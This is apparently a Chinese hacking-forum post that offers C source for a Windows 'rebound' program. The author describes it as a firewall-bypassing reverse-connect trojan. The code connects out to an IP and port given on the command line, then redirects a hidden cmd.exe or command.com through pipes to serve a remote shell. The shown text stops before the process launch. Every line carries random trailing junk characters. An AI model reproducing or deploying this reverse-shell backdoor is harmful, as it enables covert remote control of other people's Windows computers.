这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [oN}zZP]
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/* ============================== is&A_C7yg
Rebound port in Windows NT %jEdgD%xV
By wind,2006/7 F,{M!dL
===============================*/ _urv
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#include h_6QVab@
#include fhqc[@Y[
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#pragma comment(lib,"wsock32.lib") I=)Hb?qT~
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void OutputShell(); z:f[<`,GT
SOCKET sClient; :@KU_U)\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R?3^Kx
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void main(int argc,char **argv) 1c);![O
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WSADATA stWsaData; #I[tsly}
int nRet; ^G'8!!ys
SOCKADDR_IN stSaiClient,stSaiServer; !fF1tW
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if(argc != 3) J^[>F{8!n
{ zR:Mg\
printf("Useage:\n\rRebound DestIP DestPort\n"); lC&U9=7W
return; m@o/ W
} 8v)pPJr
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WSAStartup(MAKEWORD(2,2),&stWsaData); ZY-UQ4_|u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cy|]}n85
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stSaiClient.sin_family = AF_INET; $h1`-=\7
stSaiClient.sin_port = htons(0); Q" BIk
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bTB/M=M
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v!(BS,
{ TV)bX
printf("Bind Socket Failed!\n"); Lf _`8Ux
return; HFYN(nz}[
} xe}d&
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stSaiServer.sin_family = AF_INET; hMz= \)Pl
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {8D`A;KD
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ZrJAfd \5c
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i-Ck:-J
{ <a%9d<@m
printf("Connect Error!"); %rVC3}
return; xaQ]Vjw
} c6gRXp'ID
OutputShell(); R,[dEP
} xab1`~%K
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void OutputShell() +{Yd\{9
{ _r+2o-ZR
char szBuff[1024]; cLl=?^DB
SECURITY_ATTRIBUTES stSecurityAttributes; t_1(Ex
OSVERSIONINFO stOsversionInfo; Dz$GPA
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s0,c4y
STARTUPINFO stStartupInfo; /IS_-h7>XS
char *szShell; Z
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PROCESS_INFORMATION stProcessInformation; -[A4B)
unsigned long lBytesRead; -Z)j"J
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2(V;OWY(@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @-y.Y}k#$~
stSecurityAttributes.lpSecurityDescriptor = 0; 3>FeTf#:
stSecurityAttributes.bInheritHandle = TRUE; -_&"Q4FR;+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +\~.cP7[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .OI&Zm-
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ax &Z=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4%#Y)zo.e
stStartupInfo.wShowWindow = SW_HIDE; A/eZnsk
stStartupInfo.hStdInput = hReadPipe; 82ay("ZY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )/VhkSXbG!
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GetVersionEx(&stOsversionInfo); akg$vHhK4
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switch(stOsversionInfo.dwPlatformId) 98 dl -?
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case 1: QN`K|,}H^
szShell = "command.com"; v%gkQa
break; WE;QEA /
default: >2Z0XEe
szShell = "cmd.exe"; ^5j+O.zgN
break; g}(yq:D
} f;os\8JdM
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